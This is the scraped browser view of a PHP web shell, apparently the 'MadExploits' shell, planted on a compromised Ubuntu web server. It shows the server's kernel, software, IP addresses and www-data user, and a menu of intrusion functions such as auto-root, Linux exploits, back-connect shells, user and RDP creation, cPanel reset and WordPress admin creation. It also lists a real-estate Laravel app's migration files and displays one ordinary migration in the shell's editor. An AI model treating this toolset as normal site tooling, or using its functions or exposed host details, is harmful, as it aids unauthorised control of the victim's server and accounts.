Linux localhost 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 23.92.16.63 | : 162.158.159.131
Cant Read [ /etc/named.conf ]
8.1.5
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
realestate /
source /
database /
migrations /
[ HOME SHELL ]
Name
Size
Permission
Action
2014_10_12_000000_create_users...
751
B
-rwxr-xr-x
2014_10_12_100000_create_passw...
641
B
-rwxr-xr-x
2019_08_19_000000_create_faile...
768
B
-rwxr-xr-x
2019_12_14_000001_create_perso...
856
B
-rwxr-xr-x
2024_12_23_100203_create_permi...
6.4
KB
-rwxr-xr-x
2024_12_31_061725_first_name_l...
812
B
-rwxr-xr-x
2024_12_31_085634_add_deleted_...
570
B
-rwxr-xr-x
2024_12_31_100140_create_modul...
1.97
KB
-rwxr-xr-x
2025_01_07_083133_create_count...
535
B
-rwxr-xr-x
2025_01_08_102330_create_letti...
640
B
-rwxr-xr-x
2025_01_13_103603_create_occup...
615
B
-rwxr-xr-x
2025_01_13_121529_create_buy_t...
614
B
-rwxr-xr-x
2025_01_14_100039_add_type_to_...
646
B
-rwxr-xr-x
2025_01_15_054644_create_categ...
830
B
-rwxr-xr-x
2025_01_15_074718_create_branc...
4.1
KB
-rwxr-xr-x
2025_01_16_063647_create_direc...
1.76
KB
-rwxr-xr-x
2025_01_16_064513_create_direc...
1.06
KB
-rwxr-xr-x
2025_01_16_065245_create_prope...
1.11
KB
-rwxr-xr-x
2025_01_16_065543_create_alert...
1.13
KB
-rwxr-xr-x
2025_01_16_065858_create_direc...
966
B
-rwxr-xr-x
2025_01_16_101710_create_direc...
626
B
-rwxr-xr-x
2025_01_16_120021_add_branch_a...
1.09
KB
-rwxr-xr-x
2025_02_18_104826_add_notify_p...
1.32
KB
-rwxr-xr-x
2025_02_20_105210_create_prope...
493
B
-rwxr-xr-x
2025_02_20_105244_create_categ...
598
B
-rwxr-xr-x
2025_02_21_063006_create_speci...
699
B
-rwxr-xr-x
2025_02_21_125824_create_label...
543
B
-rwxr-xr-x
2025_02_24_073634_create_appli...
5.55
KB
-rwxr-xr-x
2025_02_24_074439_create_appli...
1.48
KB
-rwxr-xr-x
2025_02_24_074801_create_appli...
696
B
-rwxr-xr-x
2025_02_24_094819_add_notify_p...
602
B
-rwxr-xr-x
2025_02_24_123622_add_notify_p...
692
B
-rwxr-xr-x
2025_02_25_072347_add_area_add...
724
B
-rwxr-xr-x
2025_04_14_062543_create_landl...
4.08
KB
-rwxr-xr-x
2025_05_22_081446_create_landl...
1.54
KB
-rwxr-xr-x
2025_05_22_082419_create_landl...
781
B
-rwxr-xr-x
2025_06_03_112623_add_phase_to...
593
B
-rwxr-xr-x
2025_06_04_111405_change_categ...
918
B
-rwxr-xr-x
2025_06_05_062409_create_areas...
561
B
-rwxr-xr-x
2025_06_05_074021_create_posta...
573
B
-rwxr-xr-x
2025_06_05_102151_create_sourc...
567
B
-rwxr-xr-x
2025_06_10_081746_change_lha_d...
676
B
-rw-r--r--
2025_06_10_094130_change_able_...
588
B
-rw-r--r--
2025_06_10_101711_change_speci...
598
B
-rw-r--r--
2025_06_10_122443_update_prope...
690
B
-rw-r--r--
2025_06_11_063547_create_appli...
670
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : 2024_12_23_100203_create_permission_tables.php
<?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; return new class extends Migration { /** * Run the migrations. */ public function up(): void { $teams = config('permission.teams'); $tableNames = config('permission.table_names'); $columnNames = config('permission.column_names'); $pivotRole = $columnNames['role_pivot_key'] ?? 'role_id'; $pivotPermission = $columnNames['permission_pivot_key'] ?? 'permission_id'; if (empty($tableNames)) { throw new \Exception('Error: config/permission.php not loaded. Run [php artisan config:clear] and try again.'); } if ($teams && empty($columnNames['team_foreign_key'] ?? null)) { throw new \Exception('Error: team_foreign_key on config/permission.php not loaded. Run [php artisan config:clear] and try again.'); } Schema::create($tableNames['permissions'], function (Blueprint $table) { //$table->engine('InnoDB'); $table->bigIncrements('id'); // permission id $table->string('name'); // For MyISAM use string('name', 225); // (or 166 for InnoDB with Redundant/Compact row format) $table->string('guard_name'); // For MyISAM use string('guard_name', 25); $table->timestamps(); $table->unique(['name', 'guard_name']); }); Schema::create($tableNames['roles'], function (Blueprint $table) use ($teams, $columnNames) { //$table->engine('InnoDB'); $table->bigIncrements('id'); // role id if ($teams || config('permission.testing')) { // permission.testing is a fix for sqlite testing $table->unsignedBigInteger($columnNames['team_foreign_key'])->nullable(); $table->index($columnNames['team_foreign_key'], 'roles_team_foreign_key_index'); } $table->string('name'); // For MyISAM use string('name', 225); // (or 166 for InnoDB with Redundant/Compact row format) $table->string('guard_name'); // For MyISAM use string('guard_name', 25); $table->timestamps(); if ($teams || config('permission.testing')) { $table->unique([$columnNames['team_foreign_key'], 'name', 'guard_name']); } else { $table->unique(['name', 'guard_name']); } }); Schema::create($tableNames['model_has_permissions'], function (Blueprint $table) use ($tableNames, $columnNames, $pivotPermission, $teams) { $table->unsignedBigInteger($pivotPermission); $table->string('model_type'); $table->unsignedBigInteger($columnNames['model_morph_key']); $table->index([$columnNames['model_morph_key'], 'model_type'], 'model_has_permissions_model_id_model_type_index'); $table->foreign($pivotPermission) ->references('id') // permission id ->on($tableNames['permissions']) ->onDelete('cascade'); if ($teams) { $table->unsignedBigInteger($columnNames['team_foreign_key']); $table->index($columnNames['team_foreign_key'], 'model_has_permissions_team_foreign_key_index'); $table->primary([$columnNames['team_foreign_key'], $pivotPermission, $columnNames['model_morph_key'], 'model_type'], 'model_has_permissions_permission_model_type_primary'); } else { $table->primary([$pivotPermission, $columnNames['model_morph_key'], 'model_type'], 'model_has_permissions_permission_model_type_primary'); } }); Schema::create($tableNames['model_has_roles'], function (Blueprint $table) use ($tableNames, $columnNames, $pivotRole, $teams) { $table->unsignedBigInteger($pivotRole); $table->string('model_type'); $table->unsignedBigInteger($columnNames['model_morph_key']); $table->index([$columnNames['model_morph_key'], 'model_type'], 'model_has_roles_model_id_model_type_index'); $table->foreign($pivotRole) ->references('id') // role id ->on($tableNames['roles']) ->onDelete('cascade'); if ($teams) { $table->unsignedBigInteger($columnNames['team_foreign_key']); $table->index($columnNames['team_foreign_key'], 'model_has_roles_team_foreign_key_index'); $table->primary([$columnNames['team_foreign_key'], $pivotRole, $columnNames['model_morph_key'], 'model_type'], 'model_has_roles_role_model_type_primary'); } else { $table->primary([$pivotRole, $columnNames['model_morph_key'], 'model_type'], 'model_has_roles_role_model_type_primary'); } }); Schema::create($tableNames['role_has_permissions'], function (Blueprint $table) use ($tableNames, $pivotRole, $pivotPermission) { $table->unsignedBigInteger($pivotPermission); $table->unsignedBigInteger($pivotRole); $table->foreign($pivotPermission) ->references('id') // permission id ->on($tableNames['permissions']) ->onDelete('cascade'); $table->foreign($pivotRole) ->references('id') // role id ->on($tableNames['roles']) ->onDelete('cascade'); $table->primary([$pivotPermission, $pivotRole], 'role_has_permissions_permission_id_role_id_primary'); }); app('cache') ->store(config('permission.cache.store') != 'default' ? config('permission.cache.store') : null) ->forget(config('permission.cache.key')); } /** * Reverse the migrations. */ public function down(): void { $tableNames = config('permission.table_names'); if (empty($tableNames)) { throw new \Exception('Error: config/permission.php not found and defaults could not be merged. Please publish the package configuration before proceeding, or drop the tables manually.'); } Schema::drop($tableNames['role_has_permissions']); Schema::drop($tableNames['model_has_roles']); Schema::drop($tableNames['model_has_permissions']); Schema::drop($tableNames['roles']); Schema::drop($tableNames['permissions']); } };
Close